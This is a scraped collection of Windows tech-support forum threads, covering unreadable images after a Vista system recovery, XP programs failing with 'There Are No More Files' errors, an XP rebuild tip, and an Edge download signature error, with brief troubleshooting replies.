hi and welcome the first thing to do is run your anti virus and malware progs this will check for issues there and hopefully rule it out the next thing to try is sfc/scnw its a how to and also try this,295582,sid192_gci1276029,00.html this will check for other problems in both your files and your hard drive

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Help please!

Hi I have an HP Pavillion Windows Vista, my PC crashed and I rebooted from a System Recovery CD. In the process I was able to to backup my files to an external drive. After the recovery I found the Backup files and restored them to my PC. I see all my files, but the when I open an image I get an "invalid image" message, also I cant see any videos.

I have over 10 years of images and videos! ( I do have some in DVD)

Any help will be appreciated...

A:Fix "invalid image" after system recovery??

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Hi, I've hit a problem with Windows XP, I've looked around and I haven't been able to find anywhere which offers a potential solution, so I really hope somebody here can help!

This hit my computer without warning, I switched it on this morning and it worked as normal, I was using Google Chrome, in order to browse websites that were free of spyware (the Guardian at time of crash) all of a sudden things started to freeze up. I restarted the computer, and now a lot of programs are refusing to open - Microsoft Office, among others, states "Error: There Are No More Files", whilst other programs such as Google Chrome and Internet Explorer state "Attempt to Access From Invalid Address", even when I am running them from their root folders.

As I've stated I am running a Dell Latitude 830 with Intel Core 2 Duo T7250 (2.00GHz, 2M L2 Cache, 800MHz) Dual Core, 1.0GB, DDR2-667 SDRAM, 2 DIMMS, Intel Integrated Graphics Media Accelerator X3100 and am obviously using Windows XP. I have scanned my system with Avast Antivirus, which didn't state that there were any viruses, so I am stuck as to what exactly the problem is.

Thanks for reading! I really hope that somebody can help..

A:"There Are No More Files"/"Attempt To Access From Invalid Address" Issue

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I tried copying a fresh version of the file to \Windows\System32. No dice. I tried renaming it all uppercase and then all lowercase. Nothing. I put a copy in the root directory. No effect. I tried everything I could think of, but nothing worked.

Then--doh!--I stopped thrashing and did what I should have done initially: I dug into the Microsoft Knowledge Base and learned about XP's built-in Rebuild command. It can often easily fix "Missing HAL" and similar problems in just a minute or two. If you know about this command and how to use it, you can potentially save yourself hours and hours of manually reinstalling or rebuilding a failed operating system.

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Hi, I've looked all over the internet in attempt to find a solution to a problem that's just affected my computer, and I haven't been able to find anything that relates specifically to the problem I'm encountering.

This hit my computer without warning, I switched it on this morning and it worked as normal, all of a sudden things started to freeze up. I restarted the computer, and now a lot of programs are refusing to open - Microsoft Office, among others, states "Error: There Are No More Files", whilst other programs such as Google Chrome and Internet Explorer state "Attempt to Access From Invalid Address", even when I am running them from their root folders.

I am running a Dell Latitude 830 with Intel Core 2 Duo T7250 (2.00GHz, 2M L2 Cache, 800MHz) Dual Core, 1.0GB, DDR2-667 SDRAM, 2 DIMMS, Intel Integrated Graphics Media Accelerator X3100 and am obviously using Windows XP. I have scanned my system with Avast Antivirus, which didn't state that there were any viruses, so I am stuck as to what exactly the problem is.

I'd really appreciate some help in figuring out what has happened, thankyou so much for your time in reading this!

A:"There Are No More Files"/"Attempt To Access From Invalid Address" Issue

I am having the same problem on the same exact hardware. i don't think it could be a hardware issue, but i could be wrong. i have tried repairing windows with no success. i'm thinking the only option is to reinstall windows completely.

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Hi, everything was working fine until today. Now, every download I attempt on Microsoft Edge comes up with the message "the signature of this program is corrupt or invalid".
I haven't made any changes to my PC, or installed any new software, and I cannot find any solutions to this.
Does anyone know how to cure this, please?
Many thanks.

A:Downloads error "the signature of this program is corrupt or invalid"

Use another browser such as the built-in IE11 or install a 3rd party browser such as Chrome and see if you have the same issue.

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